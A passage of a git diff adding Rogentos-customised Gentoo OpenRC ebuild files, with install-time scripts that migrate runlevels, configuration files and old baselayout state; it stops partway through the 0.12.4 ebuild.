+			mv "${ROOT}${svcdir}"/* "${ROOT}${LIBDIR}"/rc/init.d
+			rm -rf "${ROOT}${LIBDIR}"/rc/init.d/daemons \
+				"${ROOT}${LIBDIR}"/rc/init.d/console
+			umount "${ROOT}${svcdir}" 2>/dev/null
+			rm -rf "${ROOT}${svcdir}"
+		fi
+		)
+	fi
+
+	# Handle the /etc/modules.autoload.d -> /etc/conf.d/modules transition
+	if [[ -d ${ROOT}/etc/modules.autoload.d ]] ; then
+		elog "Converting your /etc/modules.autoload.d/ files to /etc/conf.d/modules"
+		rm -f "${ROOT}"/etc/modules.autoload.d/.keep*
+		rmdir "${ROOT}"/etc/modules.autoload.d 2>/dev/null
+		if [[ -d ${ROOT}/etc/modules.autoload.d ]] ; then
+			local f v
+			for f in "${ROOT}"/etc/modules.autoload.d/* ; do
+				v=${f##*/}
+				v=${v#kernel-}
+				v=${v//[^[:alnum:]]/_}
+				gawk -v v="${v}" -v f="${f##*/}" '
+				BEGIN { print "\n### START: Auto-converted from " f "\n" }
+				{
+					if ($0 ~ /^[^#]/) {
+						print "modules_" v "=\"${modules_" v "} " $1 "\""
+						gsub(/[^[:alnum:]]/, "_", $1)
+						printf "module_" $1 "_args_" v "=\""
+						for (i = 2; i <= NF; ++i) {
+							if (i > 2)
+								printf " "
+							printf $i
+						}
+						print "\"\n"
+					} else
+						print
+				}
+				END { print "\n### END: Auto-converted from " f "\n" }
+				' "${f}" >> "${D}"/etc/conf.d/modules
+			done
+				rm -f "${f}"
+			rmdir "${ROOT}"/etc/modules.autoload.d 2>/dev/null
+		fi
+	fi
+}
+
+pkg_postinst() {
+	local conf_file
+	# Rogentos customization, do not bug user with tedious, useless config file updates
+	for conf_file in "${ROOT}/etc/conf.d/keymaps" "${ROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}.ebuild_preserved" ]; then
+			cp -p "${conf_file}.ebuild_preserved" "${conf_file}" # don't die
+		elif [ ! -e "${conf_file}" ]; then
+			cp -p "${conf_file}.example" "${conf_file}" # don't die
+		fi
+		chown root:root "${conf_file}" # don't die
+	done
+
+	local LIBDIR=$(get_libdir)
+
+	# Remove old baselayout links
+	rm -f "${ROOT}"/etc/runlevels/boot/{check{fs,root},rmnologin}
+	rm -f "${ROOT}"/etc/init.d/{depscan,runscript}.sh
+
+	# Make our runlevels if they don't exist
+	if [[ ! -e ${ROOT}/etc/runlevels ]] || [[ -e ${ROOT}/etc/runlevels/.add_boot_init.created ]] ; then
+		einfo "Copying across default runlevels"
+		cp -RPp "${ROOT}"/usr/share/${PN}/runlevels "${ROOT}"/etc
+		rm -f "${ROOT}"/etc/runlevels/.add_boot_init.created
+	else
+		if [[ ! -e ${ROOT}/etc/runlevels/sysinit/devfs ]] ; then
+			mkdir -p "${ROOT}"/etc/runlevels/sysinit
+			cp -RPp "${ROOT}"/usr/share/${PN}/runlevels/sysinit/* \
+				"${ROOT}"/etc/runlevels/sysinit
+		fi
+		if [[ ! -e ${ROOT}/etc/runlevels/shutdown/mount-ro ]] ; then
+			mkdir -p "${ROOT}"/etc/runlevels/shutdown
+			cp -RPp "${ROOT}"/usr/share/${PN}/runlevels/shutdown/* \
+				"${ROOT}"/etc/runlevels/shutdown
+		fi
+	fi
+
+	# /etc/conf.d/net.example is no longer valid
+	local NET_EXAMPLE="${ROOT}/etc/conf.d/net.example"
+	local NET_MD5='8ebebfa07441d39eb54feae0ee4c8210'
+	if [[ -e "${NET_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${NET_EXAMPLE}") == ${NET_MD5}* ]]; then
+			rm -f "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} should be removed."
+		fi
+		elog "The new file is ${ROOT}/usr/share/doc/${PF}/net.example"
+	fi
+
+	# /etc/conf.d/wireless.example is no longer valid
+	local WIRELESS_EXAMPLE="${ROOT}/etc/conf.d/wireless.example"
+	local WIRELESS_MD5='d1fad7da940bf263c76af4d2082124a3'
+	if [[ -e "${WIRELESS_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${WIRELESS_EXAMPLE}") == ${WIRELESS_MD5}* ]]; then
+			rm -f "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and should be removed."
+		fi
+		elog "If you are using the old style network scripts,"
+		elog "Configure wireless settings in ${ROOT}/etc/conf.d/net"
+		elog "after reviewing ${ROOT}/usr/share/doc/${PF}/net.example"
+	fi
+
+	if [[ -d ${ROOT}/etc/modules.autoload.d ]] ; then
+		ewarn "/etc/modules.autoload.d is no longer used.  Please convert"
+		ewarn "your files to /etc/conf.d/modules and delete the directory."
+	fi
+
+	if use hppa; then
+		elog "Setting the console font does not work on all HPPA consoles."
+		elog "You can still enable it by running:"
+		elog "# rc-update add consolefont boot"
+	fi
+
+	# Handle the conf.d/local.{start,stop} -> local.d transition
+	if path_exists -o "${ROOT}"etc/conf.d/local.{start,stop} ; then
+		elog "Moving your ${ROOT}etc/conf.d/local.{start,stop}"
+		elog "files to ${ROOT}etc/local.d"
+		mv "${ROOT}"etc/conf.d/local.start "${ROOT}"etc/local.d/baselayout1.start
+		mv "${ROOT}"etc/conf.d/local.stop "${ROOT}"etc/local.d/baselayout1.stop
+		chmod +x "${ROOT}"etc/local.d/*{start,stop}
+	fi
+
+	if use kernel_linux && [[ "${ROOT}" = "/" ]]; then
+		if ! /$(get_libdir)/rc/sh/migrate-to-run.sh; then
+			ewarn "The dependency data could not be migrated to /run/openrc."
+			ewarn "This means you need to reboot your system."
+		fi
+	fi
+
+	# update the dependency tree after touching all files #224171
+	[[ "${ROOT}" = "/" ]] && "${ROOT}/${LIBDIR}"/rc/bin/rc-depend -u
+
+	elog "You should now update all files in /etc, using etc-update"
+	elog "or equivalent before restarting any services or this host."
+	elog
+	elog "Please read the migration guide available at:"
+	elog "http://www.gentoo.org/doc/en/openrc-migration.xml"
+}
diff --git a/sys-apps/openrc/openrc-0.11.8.ebuild b/sys-apps/openrc/openrc-0.11.8.ebuild
new file mode 100644
index 00000000..fb5daebd
--- /dev/null
+++ b/sys-apps/openrc/openrc-0.11.8.ebuild
@@ -0,0 +1,512 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-apps/openrc/openrc-0.11.8.ebuild,v 1.7 2013/01/02 19:20:39 armin76 Exp $
+
+EAPI=4
+
+inherit eutils flag-o-matic multilib pam toolchain-funcs
+
+DESCRIPTION="OpenRC manages the services, startup and shutdown of a host"
+HOMEPAGE="http://www.gentoo.org/proj/en/base/openrc/"
+
+if [[ ${PV} == "9999" ]]; then
+	EGIT_REPO_URI="git://git.overlays.gentoo.org/proj/${PN}.git"
+	inherit git-2
+else
+	SRC_URI="http://dev.gentoo.org/~williamh/dist/${P}.tar.bz2"
+	KEYWORDS="alpha amd64 arm hppa ia64 m68k ~mips ppc ppc64 s390 sh sparc x86 ~amd64-fbsd ~sparc-fbsd ~x86-fbsd"
+fi
+
+LICENSE="BSD-2"
+SLOT="0"
+IUSE="debug elibc_glibc ncurses pam newnet prefix selinux static-libs unicode
+	kernel_linux kernel_FreeBSD"
+
+RDEPEND="virtual/init
+	kernel_FreeBSD? ( || ( >=sys-freebsd/freebsd-ubin-9.0_rc sys-process/fuser-bsd ) )
+	elibc_glibc? ( >=sys-libs/glibc-2.5 )
+	ncurses? ( sys-libs/ncurses )
+	pam? ( sys-auth/pambase )
+	>=sys-apps/baselayout-2.1-r1
+	kernel_linux? (
+		sys-process/psmisc
+	)
+	!<sys-fs/udev-init-scripts-17
+	!<sys-fs/udev-133"
+DEPEND="${RDEPEND}
+	virtual/os-headers"
+
+src_prepare() {
+	sed -i 's:0444:0644:' mk/sys.mk || die
+	sed -i "/^DIR/s:/openrc:/${PF}:" doc/Makefile || die #241342
+
+	if [[ ${PV} == "9999" ]] ; then
+		local ver="git-${EGIT_VERSION:0:6}"
+		sed -i "/^GITVER[[:space:]]*=/s:=.*:=${ver}:" mk/git.mk || die
+	fi
+
+	# Allow user patches to be applied without modifying the ebuild
+	epatch_user
+
+	# Rogentos custom config
+	epatch "${FILESDIR}/${PN}-sabayon-config-2.patch"
+	epatch "${FILESDIR}"/${PN}-0.5.3-disable_warns_until_migrated.patch
+	epatch "${FILESDIR}/${PN}-netmount-fix.patch"
+	epatch "${FILESDIR}/${PN}-0.6.1-fix-clockskew-error-handling.patch"
+	
+	# Rogentos bug fixes
+	epatch "${FILESDIR}/${PN}-0.9.9.3-do-not-print-error-if-tmplog-cannot-be-read.patch"
+}
+
+src_compile() {
+	unset LIBDIR #266688
+
+	MAKE_ARGS="${MAKE_ARGS}
+		LIBNAME=$(get_libdir)
+		LIBEXECDIR=${EPREFIX}/$(get_libdir)/rc"
+
+	local brand="Unknown"
+	if use kernel_linux ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=Linux"
+		brand="Linux"
+	elif use kernel_FreeBSD ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=FreeBSD"
+		brand="FreeBSD"
+	fi
+	if use selinux; then
+			MAKE_ARGS="${MAKE_ARGS} MKSELINUX=yes"
+	fi
+	export BRANDING="Rogentos ${brand}"
+	if ! use static-libs; then
+			MAKE_ARGS="${MAKE_ARGS} MKSTATICLIBS=no"
+	fi
+	use newnet || MAKE_ARGS="${MAKE_ARGS} MKNET=oldnet"
+	use prefix && MAKE_ARGS="${MAKE_ARGS} MKPREFIX=yes PREFIX=${EPREFIX}"
+	export DEBUG=$(usev debug)
+	export MKPAM=$(usev pam)
+	export MKTERMCAP=$(usev ncurses)
+
+	tc-export CC AR RANLIB
+	emake ${MAKE_ARGS}
+}
+
+# set_config <file> <option name> <yes value> <no value> test
+# a value of "#" will just comment out the option
+set_config() {
+	local file="${ED}/$1" var=$2 val com
+	eval "${@:5}" && val=$3 || val=$4
+	[[ ${val} == "#" ]] && com="#" && val='\2'
+	sed -i -r -e "/^#?${var}=/{s:=([\"'])?([^ ]*)\1?:=\1${val}\1:;s:^#?:${com}:}" "${file}"
+}
+
+set_config_yes_no() {
+	set_config "$1" "$2" YES NO "${@:3}"
+}
+
+src_install() {
+	emake ${MAKE_ARGS} DESTDIR="${D}" install
+
+	# move the shared libs back to /usr so ldscript can install
+	# more of a minimal set of files
+	# disabled for now due to #270646
+	#mv "${ED}"/$(get_libdir)/lib{einfo,rc}* "${ED}"/usr/$(get_libdir)/ || die
+	#gen_usr_ldscript -a einfo rc
+	gen_usr_ldscript libeinfo.so
+	gen_usr_ldscript librc.so
+
+	if ! use kernel_linux; then
+		keepdir /$(get_libdir)/rc/init.d
+	fi
+	keepdir /$(get_libdir)/rc/tmp
+
+	# Backup our default runlevels
+	dodir /usr/share/"${PN}"
+	cp -PR "${ED}"/etc/runlevels "${ED}"/usr/share/${PN} || die
+	rm -rf "${ED}"/etc/runlevels
+
+	# Install the default net configuration
+	doconfd conf.d/net
+
+	# Setup unicode defaults for silly unicode users
+	set_config_yes_no /etc/rc.conf unicode use unicode
+
+	# Cater to the norm
+	set_config_yes_no /etc/conf.d/keymaps windowkeys '(' use x86 '||' use amd64 ')'
+
+	# On HPPA, do not run consolefont by default (bug #222889)
+	if use hppa; then
+		rm -f "${ED}"/usr/share/openrc/runlevels/boot/consolefont
+	fi
+
+	# Support for logfile rotation
+	insinto /etc/logrotate.d
+	newins "${FILESDIR}"/openrc.logrotate openrc
+
+	# Rogentos customization, do not bug user with annoying updates (for now)
+	mv "${ED}"/etc/conf.d/keymaps "${ED}"/etc/conf.d/keymaps.example || \
+		die "cannot move keymaps"
+	mv "${ED}"/etc/conf.d/hwclock "${ED}"/etc/conf.d/hwclock.example || \
+		die "cannot move hwclock"
+
+	# install the gentoo pam.d file
+	newpamd "${FILESDIR}"/start-stop-daemon.pam start-stop-daemon
+}
+
+add_boot_init() {
+	local initd=$1
+	local runlevel=${2:-boot}
+	# if the initscript is not going to be installed and is not
+	# currently installed, return
+	[[ -e "${ED}"/etc/init.d/${initd} || -e "${EROOT}"etc/init.d/${initd} ]] \
+		|| return
+	[[ -e "${EROOT}"etc/runlevels/${runlevel}/${initd} ]] && return
+
+	# if runlevels dont exist just yet, then create it but still flag
+	# to pkg_postinst that it needs real setup #277323
+	if [[ ! -d "${EROOT}"etc/runlevels/${runlevel} ]] ; then
+		mkdir -p "${EROOT}"etc/runlevels/${runlevel}
+		touch "${EROOT}"etc/runlevels/.add_boot_init.created
+	fi
+
+	elog "Auto-adding '${initd}' service to your ${runlevel} runlevel"
+	ln -snf "${EROOT}"etc/init.d/${initd} "${EROOT}"etc/runlevels/${runlevel}/${initd}
+}
+add_boot_init_mit_config() {
+	local config=$1 initd=$2
+	if [[ -e ${EROOT}${config} ]] ; then
+		if [[ -n $(sed -e 's:#.*::' -e '/^[[:space:]]*$/d' "${EROOT}"${config}) ]] ; then
+			add_boot_init ${initd}
+		fi
+	fi
+}
+
+pkg_preinst() {
+	local conf_file
+	# Rogentos customization, still protect conf files from being removed
+	# as no longer owned by package
+	for conf_file in "${EROOT}/etc/conf.d/keymaps" "${EROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}" ]; then
+			cp -p "${conf_file}" "${conf_file}.ebuild_preserved" # don't die
+		fi
+	done
+
+	local f LIBDIR=$(get_libdir)
+
+	# default net script is just comments, so no point in biting people
+	# in the ass by accident.  we save in preinst so that the package
+	# manager doesnt go throwing etc-update crap at us -- postinst is
+	# too late to prevent that.  this behavior also lets us keep the
+	# file in the CONTENTS for binary packages.
+	[[ -e "${EROOT}"etc/conf.d/net ]] && \
+		cp -d "${EROOT}"etc/conf.d/net "${ED}"/etc/conf.d/
+
+	# avoid default thrashing in conf.d files when possible #295406
+	if [[ -e "${EROOT}"etc/conf.d/hostname ]] ; then
+		(
+		unset hostname HOSTNAME
+		source "${EROOT}"etc/conf.d/hostname
+		: ${hostname:=${HOSTNAME}}
+		[[ -n ${hostname} ]] && set_config /etc/conf.d/hostname hostname "${hostname}"
+		)
+	fi
+
+	# upgrade timezone file ... do it before moving clock
+	if [[ -e ${EROOT}etc/conf.d/clock && ! -e ${EROOT}/etc/timezone ]] ; then
+		(
+		unset TIMEZONE
+		source "${EROOT}"etc/conf.d/clock
+		[[ -n ${TIMEZONE} ]] && echo "${TIMEZONE}" > "${EROOT}"etc/timezone
+		)
+	fi
+
+	# /etc/conf.d/clock moved to /etc/conf.d/hwclock
+	local clock
+	use kernel_FreeBSD && clock="adjkerntz" || clock="hwclock"
+	if [[ -e "${EROOT}"etc/conf.d/clock ]] ; then
+		mv "${EROOT}"etc/conf.d/clock "${EROOT}"etc/conf.d/${clock}
+	fi
+	if [[ -e "${EROOT}"etc/init.d/clock ]] ; then
+		rm -f "${EROOT}"etc/init.d/clock
+	fi
+	if [[ -L "${EROOT}"etc/runlevels/boot/clock ]] ; then
+		rm -f "${EROOT}"etc/runlevels/boot/clock
+		ln -snf /etc/init.d/${clock} "${EROOT}"etc/runlevels/boot/${clock}
+	fi
+	if [[ -L "${EROOT}"${LIBDIR}/rc/init.d/started/clock ]] ; then
+		rm -f "${EROOT}"${LIBDIR}/rc/init.d/started/clock
+		ln -snf /etc/init.d/${clok} "${EROOT}"${LIBDIR}/rc/init.d/started/${clock}
+	fi
+
+	# /etc/conf.d/rc is no longer used for configuration
+	if [[ -e "${EROOT}"etc/conf.d/rc ]] ; then
+		elog "/etc/conf.d/rc is no longer used for configuration."
+		elog "Please migrate your settings to /etc/rc.conf as applicable"
+		elog "and delete /etc/conf.d/rc"
+	fi
+
+	# force net init.d scripts into symlinks
+	for f in "${EROOT}"etc/init.d/net.* ; do
+		[[ -e ${f} ]] || continue # catch net.* not matching anything
+		[[ ${f} == */net.lo ]] && continue # real file now
+		[[ ${f} == *.openrc.bak ]] && continue
+		if [[ ! -L ${f} ]] ; then
+			elog "Moved net service '${f##*/}' to '${f##*/}.openrc.bak' to force a symlink."
+			elog "You should delete '${f##*/}.openrc.bak' if you don't need it."
+			mv "${f}" "${f}.openrc.bak"
+			ln -snf net.lo "${f}"
+		fi
+	done
+
+	# termencoding was added in 0.2.1 and needed in boot
+	has_version ">=sys-apps/openrc-0.2.1" || add_boot_init termencoding
+
+	# swapfiles was added in 0.9.9 and needed in boot (february 2012)
+	has_version ">=sys-apps/openrc-0.9.9" || add_boot_init swapfiles
+
+	if ! has_version ">=sys-apps/openrc-0.11"; then
+		add_boot_init sysfs sysinit
+	fi
+
+	# set default interactive shell to sulogin if it exists
+	set_config /etc/rc.conf rc_shell /sbin/sulogin "#" test -e /sbin/sulogin
+
+	has_version sys-apps/openrc || migrate_from_baselayout_1
+	has_version ">=sys-apps/openrc-0.4.0" || migrate_udev_init_script
+	if ! has_version ">=sys-apps/openrc-0.11.3" ; then
+		migrate_udev_mount_script
+		add_boot_init tmpfiles.setup boot
+	fi
+}
+
+# >=openrc-0.4.0 no longer loads the udev addon
+migrate_udev_init_script() {
+	# make sure udev is in sysinit if it was enabled before
+	local enable_udev=false
+	local rc_devices=$(
+		[[ -f /etc/rc.conf ]] && source /etc/rc.conf
+		[[ -f /etc/conf.d/rc ]] && source /etc/conf.d/rc
+		echo "${rc_devices:-${RC_DEVICES:-auto}}"
+	)
+	case ${rc_devices} in
+		udev|auto)
+			enable_udev=true
+			;;
+	esac
+
+	if $enable_udev; then
+		add_boot_init udev sysinit
+		add_boot_init udev-postmount default
+	fi
+}
+
+# >=OpenRC-0.11.3 requires udev-mount to be in the sysinit runlevel with udev.
+migrate_udev_mount_script() {
+	if [ -e "${EROOT}"etc/runlevels/sysinit/udev -a \
+		! -e "${EROOT}"etc/runlevels/sysinit/udev-mount ]; then
+		add_boot_init udev-mount sysinit
+	fi
+	return 0
+}
+
+migrate_from_baselayout_1() {
+	# baselayout boot init scripts have been split out
+	for f in $(cd "${ED}"/usr/share/${PN}/runlevels/boot || exit; echo *) ; do
+		# baselayout-1 is always "old" net, so ignore "new" net
+		[[ ${f} == "network" ]] && continue
+
+		add_boot_init ${f}
+	done
+
+	# Try to auto-add some addons when possible
+	add_boot_init_mit_config /etc/conf.d/cryptfs dmcrypt
+	add_boot_init_mit_config /etc/conf.d/dmcrypt dmcrypt
+	add_boot_init_mit_config /etc/mdadm.conf mdraid
+	add_boot_init_mit_config /etc/evms.conf evms
+	[[ -e "${EROOT}"sbin/dmsetup ]] && add_boot_init device-mapper
+	[[ -e "${EROOT}"sbin/vgscan ]] && add_boot_init lvm
+	elog "Add on services (such as RAID/dmcrypt/LVM/etc...) are now stand alone"
+	elog "init.d scripts.  If you use such a thing, make sure you have the"
+	elog "required init.d scripts added to your boot runlevel."
+
+	# Upgrade our state for baselayout-1 users
+	if [[ ! -e "${EROOT}"${LIBDIR}/rc/init.d/started ]] ; then
+		(
+		[[ -e "${EROOT}"etc/conf.d/rc ]] && source "${EROOT}"/etc/conf.d/rc
+		svcdir=${svcdir:-/var/lib/init.d}
+		if [[ ! -d "${EROOT}"${svcdir}/started ]] ; then
+			ewarn "No state found, and no state exists"
+			elog "You should reboot this host"
+		else
+			mkdir -p "${EROOT}"${LIBDIR}/rc/init.d
+			einfo "Moving state from ${EROOT}${svcdir} to ${EROOT}${LIBDIR}/rc/init.d"
+			mv "${EROOT}${svcdir}"/* "${EROOT}${LIBDIR}"/rc/init.d
+			rm -rf "${EROOT}${LIBDIR}"/rc/init.d/daemons \
+				"${EROOT}${LIBDIR}"/rc/init.d/console
+			umount "${EROOT}${svcdir}" 2>/dev/null
+			rm -rf "${EROOT}${svcdir}"
+		fi
+		)
+	fi
+
+	# Handle the /etc/modules.autoload.d -> /etc/conf.d/modules transition
+	if [[ -d "${EROOT}"etc/modules.autoload.d ]] ; then
+		elog "Converting your /etc/modules.autoload.d/ files to /etc/conf.d/modules"
+		rm -f "${EROOT}"etc/modules.autoload.d/.keep*
+		rmdir "${EROOT}"etc/modules.autoload.d 2>/dev/null
+		if [[ -d "${EROOT}"etc/modules.autoload.d ]] ; then
+			local f v
+			for f in "${EROOT}"etc/modules.autoload.d/* ; do
+				v=${f##*/}
+				v=${v#kernel-}
+				v=${v//[^[:alnum:]]/_}
+				gawk -v v="${v}" -v f="${f##*/}" '
+				BEGIN { print "\n### START: Auto-converted from " f "\n" }
+				{
+					if ($0 ~ /^[^#]/) {
+						print "modules_" v "=\"${modules_" v "} " $1 "\""
+						gsub(/[^[:alnum:]]/, "_", $1)
+						printf "module_" $1 "_args_" v "=\""
+						for (i = 2; i <= NF; ++i) {
+							if (i > 2)
+								printf " "
+							printf $i
+						}
+						print "\"\n"
+					} else
+						print
+				}
+				END { print "\n### END: Auto-converted from " f "\n" }
+				' "${f}" >> "${ED}"/etc/conf.d/modules
+			done
+				rm -f "${f}"
+			rmdir "${EROOT}"etc/modules.autoload.d 2>/dev/null
+		fi
+	fi
+}
+
+pkg_postinst() {
+	local conf_file
+	# Rogentos customization, do not bug user with tedious, useless config file updates
+	for conf_file in "${EROOT}/etc/conf.d/keymaps" "${EROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}.ebuild_preserved" ]; then
+			cp -p "${conf_file}.ebuild_preserved" "${conf_file}" # don't die
+		elif [ ! -e "${conf_file}" ]; then
+			cp -p "${conf_file}.example" "${conf_file}" # don't die
+		fi
+		chown root:root "${conf_file}" # don't die
+	done
+	local LIBDIR=$(get_libdir)
+
+	# Remove old baselayout links
+	rm -f "${EROOT}"etc/runlevels/boot/{check{fs,root},rmnologin}
+	rm -f "${EROOT}"etc/init.d/{depscan,runscript}.sh
+
+	# Make our runlevels if they don't exist
+	if [[ ! -e "${EROOT}"etc/runlevels ]] || [[ -e "${EROOT}"etc/runlevels/.add_boot_init.created ]] ; then
+		einfo "Copying across default runlevels"
+		cp -RPp "${EROOT}"usr/share/${PN}/runlevels "${EROOT}"etc
+		rm -f "${EROOT}"etc/runlevels/.add_boot_init.created
+	else
+		if [[ ! -e "${EROOT}"etc/runlevels/sysinit/devfs ]] ; then
+			mkdir -p "${EROOT}"etc/runlevels/sysinit
+			cp -RPp "${EROOT}"usr/share/${PN}/runlevels/sysinit/* \
+				"${EROOT}"etc/runlevels/sysinit
+		fi
+		if [[ ! -e "${EROOT}"etc/runlevels/shutdown/mount-ro ]] ; then
+			mkdir -p "${EROOT}"etc/runlevels/shutdown
+			cp -RPp "${EROOT}"usr/share/${PN}/runlevels/shutdown/* \
+				"${EROOT}"etc/runlevels/shutdown
+		fi
+	fi
+
+	# /etc/conf.d/net.example is no longer valid
+	local NET_EXAMPLE="${EROOT}etc/conf.d/net.example"
+	local NET_MD5='8ebebfa07441d39eb54feae0ee4c8210'
+	if [[ -e "${NET_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${NET_EXAMPLE}") == ${NET_MD5}* ]]; then
+			rm -f "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} should be removed."
+		fi
+		elog "The new file is ${EROOT}usr/share/doc/${PF}/net.example"
+	fi
+
+	# /etc/conf.d/wireless.example is no longer valid
+	local WIRELESS_EXAMPLE="${EROOT}etc/conf.d/wireless.example"
+	local WIRELESS_MD5='d1fad7da940bf263c76af4d2082124a3'
+	if [[ -e "${WIRELESS_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${WIRELESS_EXAMPLE}") == ${WIRELESS_MD5}* ]]; then
+			rm -f "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and should be removed."
+		fi
+		elog "If you are using the old style network scripts,"
+		elog "Configure wireless settings in ${EROOT}etc/conf.d/net"
+		elog "after reviewing ${EROOT}usr/share/doc/${PF}/net.example"
+	fi
+
+	if [[ -d "${EROOT}"etc/modules.autoload.d ]] ; then
+		ewarn "/etc/modules.autoload.d is no longer used.  Please convert"
+		ewarn "your files to /etc/conf.d/modules and delete the directory."
+	fi
+
+	if use hppa; then
+		elog "Setting the console font does not work on all HPPA consoles."
+		elog "You can still enable it by running:"
+		elog "# rc-update add consolefont boot"
+	fi
+
+	# Handle the conf.d/local.{start,stop} -> local.d transition
+	if path_exists -o "${EROOT}"etc/conf.d/local.{start,stop} ; then
+		elog "Moving your ${EROOT}etc/conf.d/local.{start,stop}"
+		elog "files to ${EROOT}etc/local.d"
+		mv "${EROOT}"etc/conf.d/local.start "${EROOT}"etc/local.d/baselayout1.start
+		mv "${EROOT}"etc/conf.d/local.stop "${EROOT}"etc/local.d/baselayout1.stop
+		chmod +x "${EROOT}"etc/local.d/*{start,stop}
+	fi
+
+	if use kernel_linux && [[ "${EROOT}" = "/" ]]; then
+		/$(get_libdir)/rc/sh/migrate-to-run.sh
+	fi
+
+	# update the dependency tree after touching all files #224171
+	[[ "${EROOT}" = "/" ]] && "${EROOT}/${LIBDIR}"/rc/bin/rc-depend -u
+
+	if use newnet; then
+		local netscript=network
+	else
+		local netscript=net.lo
+	fi
+
+	if [ ! -e "${EROOT}"etc/runlevels/boot/${netscript} ]; then
+		ewarn "Please add the $netscript script to your boot runlevel"
+		ewarn "as soon as possible. Not doing so could leave you with a system"
+		ewarn "without networking."
+	fi
+
+	ewarn "In this version of OpenRC, the loopback interface no longer"
+	ewarn "satisfies the net virtual."
+	ewarn "If you have services now which do not start because of this,"
+	ewarn "They can be fixed by adding rc_need=\"!net\""
+	ewarn "to the ${EROOT}etc/conf.d/<servicename> file."
+	ewarn "You should also file a bug against the service asking that"
+	ewarn "need net be dropped from the dependencies."
+	ewarn "The bug you file should block the following tracker:"
+	ewarn "https://bugs.gentoo.org/show_bug.cgi?id=439092"
+
+	ewarn "This version of OpenRC doesn't enable nfs mounts automatically any"
+	ewarn "longer. In order to mount nfs file systems, you must use the"
+	ewarn "nfsmount service from the nfs-utils package."
+	ewarn "See bug https://bugs.gentoo.org/show_bug.cgi?id=427996 for"
+	ewarn "more information on this."
+
+	elog "You should now update all files in /etc, using etc-update"
+	elog "or equivalent before restarting any services or this host."
+	elog
+	elog "Please read the migration guide available at:"
+	elog "http://www.gentoo.org/doc/en/openrc-migration.xml"
+}
diff --git a/sys-apps/openrc/openrc-0.12.4.ebuild b/sys-apps/openrc/openrc-0.12.4.ebuild
new file mode 100644
index 00000000..0bc61a82
--- /dev/null
+++ b/sys-apps/openrc/openrc-0.12.4.ebuild
@@ -0,0 +1,356 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils flag-o-matic multilib pam toolchain-funcs
+
+DESCRIPTION="OpenRC manages the services, startup and shutdown of a host"
+HOMEPAGE="http://www.gentoo.org/proj/en/base/openrc/"
+
+if [[ ${PV} == "9999" ]]; then
+	EGIT_REPO_URI="git://github.com/OpenRC/${PN}.git"
+	inherit git-2
+else
+	SRC_URI="http://dev.gentoo.org/~williamh/dist/${P}.tar.bz2"
+	KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~sparc-fbsd ~x86-fbsd"
+fi
+
+LICENSE="BSD-2"
+SLOT="0"
+IUSE="debug elibc_glibc ncurses pam newnet prefix +netifrc selinux static-libs
+	tools unicode kernel_linux kernel_FreeBSD"
+
+COMMON_DEPEND=">=sys-apps/baselayout-2.1-r1
+	kernel_FreeBSD? ( || ( >=sys-freebsd/freebsd-ubin-9.0_rc sys-process/fuser-bsd ) )
+	elibc_glibc? ( >=sys-libs/glibc-2.5 )
+	ncurses? ( sys-libs/ncurses )
+	pam? ( sys-auth/pambase )
+	tools? ( dev-lang/perl )
+	kernel_linux? (
+		sys-process/psmisc
+	)
+	selinux? ( sec-policy/selinux-openrc )
+	!<sys-fs/udev-init-scripts-17
+	!<sys-fs/udev-133"
+DEPEND="${COMMON_DEPEND}
+	virtual/os-headers
+	ncurses? ( virtual/pkgconfig )"
+RDEPEND="${COMMON_DEPEND}
+	!prefix? (
+		kernel_linux? ( || ( >=sys-apps/sysvinit-2.86-r6 sys-process/runit ) )
+		kernel_FreeBSD? ( sys-freebsd/freebsd-sbin )
+	)"
+
+PDEPEND="netifrc? ( net-misc/netifrc )"
+
+src_prepare() {
+	sed -i 's:0444:0644:' mk/sys.mk || die
+
+	if [[ ${PV} == "9999" ]] ; then
+		local ver="git-${EGIT_VERSION:0:6}"
+		sed -i "/^GITVER[[:space:]]*=/s:=.*:=${ver}:" mk/git.mk || die
+	fi
+
+	# Allow user patches to be applied without modifying the ebuild
+	epatch_user
+
+	# RogentOS custom config
+	epatch "${FILESDIR}/${PN}-sabayon-config-2.patch"
+	epatch "${FILESDIR}"/${PN}-0.5.3-disable_warns_until_migrated.patch
+	epatch "${FILESDIR}/${PN}-netmount-fix.patch"
+	epatch "${FILESDIR}/${PN}-0.6.1-fix-clockskew-error-handling.patch"
+
+	# RogentOS bug fixes
+	epatch "${FILESDIR}/${PN}-0.9.9.3-do-not-print-error-if-tmplog-cannot-be-read.patch"
+
+	# Linux 3.10 and EFI
+	epatch "${FILESDIR}/0001-efivarfs-Support-EFI-variable-access-in-3.10-kernels.patch"
+}
+
+src_compile() {
+	unset LIBDIR #266688
+
+	MAKE_ARGS="${MAKE_ARGS}
+		LIBNAME=$(get_libdir)
